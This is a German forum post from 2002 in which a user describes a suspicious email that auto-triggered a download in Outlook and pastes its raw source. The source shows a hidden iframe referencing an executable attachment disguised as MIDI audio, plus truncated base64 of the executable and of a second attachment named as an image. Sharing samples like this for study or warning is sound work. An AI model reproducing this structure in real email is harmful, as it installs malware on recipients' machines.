AnalphaBestie: Virus

Beitrag lesen

Hiho

heute bekam ich eine email mit dem Betreff
LinksradikalerPunker

Als ich die email anklickte kam für eine sekunde ein download fenster, ohne das ich irgendwas bestätigen musste.

Das system war grade neu deswegen noch keine protection :)

Ist das eigentlich normal bei outlook ? man sollte wahrscheinlich HTML in emails austellen...

Für alle die es interresiert ist hier der quelltext:

-----------------------------------------------------------------

Return-Path: 520093760782-0001@t-online.de
Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
 by lithium.one-2-one.net (8.11.0/8.11.0) with ESMTP id g4VF1fU08089
 for AnalphaBestie@ackro.com; Fri, 31 May 2002 17:01:41 +0200
Received: from fwd00.sul.t-online.de
 by mailout08.sul.t-online.com with smtp
 id 17DnsB-0007DG-00; Fri, 31 May 2002 16:59:23 +0200
Received: from Opddnuxrt (520093760782-0001@[80.139.56.35]) by fwd00.sul.t-online.com
 with smtp id 17DnqH-1OSmRsC; Fri, 31 May 2002 16:57:25 +0200
From: 520093760782-0001@t-online.de (LinksradikalerPunker)
To: AnalphaBestie@ackro.com
Subject: Questionnaire
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary=O62J6s6g163N0
Date: Fri, 31 May 2002 16:57:25 +0200
Message-ID: 17DnqH-1OSmRsC@fwd00.sul.t-online.com
X-Sender: 520093760782-0001@t-dialin.net
Status:

--O62J6s6g163N0
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:J1bV1q788nQ height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--O62J6s6g163N0
Content-Type: audio/x-midi;
 name=nets .exe
Content-Transfer-Encoding: base64
Content-ID: <J1bV1q788nQ>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
dAmBffRdAQAAfgfHRfRdAQAAgz0cLEEAAX4MagRT6Anz//9ZWesLoRAqQQCKBFiD4ASFwHQh
i0X0/030hcB0F/9F5IgeRv9F/FfocAcAAIvYWYld7Ou7OB0gLEEAdWaLRfT/TfSFwHRc/0X8
V+hNBwAAi9igICxBAIgGWYld7EaDPRwsQQABfgxqBFPom/L//1lZ6wuhECpBAIoEWIPgBIXA
dCGLRfT/TfSFwHQX/0XkiB5G/0X8V+gCBwAAi9hZiV3s67uDfeQAD4SOAAAAg/tldAmD+0UP
hYAAAACLRfT/TfSFwHR2xgZlRv9F/FfoywYAAIvYWYP7LYld7HUFiAZG6wWD+yt1HotF9P9N
AAAAycO4/HZNAOivCQsAg+wU

--- NOCH MEHR BUSCHSTABEN SALTA ---

U1ZXaKkEAADoV4sMAIvYizX4dk4AjUXkx0XkTgAAAFBqAWiSAQAA/3Mc/9aNRehQ6IkMAACD
fegAWXUOagLoGpQMAIlF6IAgAFn/dejo
--O62J6s6g163N0
--O62J6s6g163N0
Content-Type: application/octet-stream;
 name=SmartSaverPro-4x2[1].jpg
Content-Transfer-Encoding: base64
Content-ID: <J1bV1q788nQ>

/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoM
DAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsN
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgAR
CAB9AIIDASIAAhEBAxEB/8QAHAAAAwADAQEBAAAAAAAAAAAAAAUGAgQHAwEI/8QAHAEAAQUB
AQEAAAAAAAAAAAAAAAEDBAUGAgcI/9oADAMBAAIQAxAAAAHordNsVV6/l6lIz3jspqm9rplk
nY4vQ++ntJI1lsuETvhMk7ZKG5oY+siZfEWVVKjd+L/1TIeeaR/jNLG1U7lt6XZ22inE3c5K
9VQyp3LndBTInPcr7ddb5Up6GjYlxBQCSe6z1PzLS+QsXCtXk/QdzP7HraWma/V44YOJekSf
BVsdfrH9EjPciSPNE13BZMiDQafo+HZc73525PoVXDc3vK3inY+XMzGezMUrO66BhzeqWn+o
8OeS4/Z1cXmjvQJTw+cv1RLjDf7dVTZrvP3XgtG3V3xiJC0vTZOZkh6blRkdTwmj9un9WHJ/
LqSuLwpgdq8nSfY6SZPE8aA9x0gAAAAAC6cpNKnd9EzP5zywnWf1OaGAd5IlMTZFjPQNNJAA
/0
4pRzyi5Fvf1hgK/GCm/pj4n1hDh9YaJ+mGD+M+L/AMF//9=9
--O62J6s6g163N0--

gekürzt wie sau

Gute nacht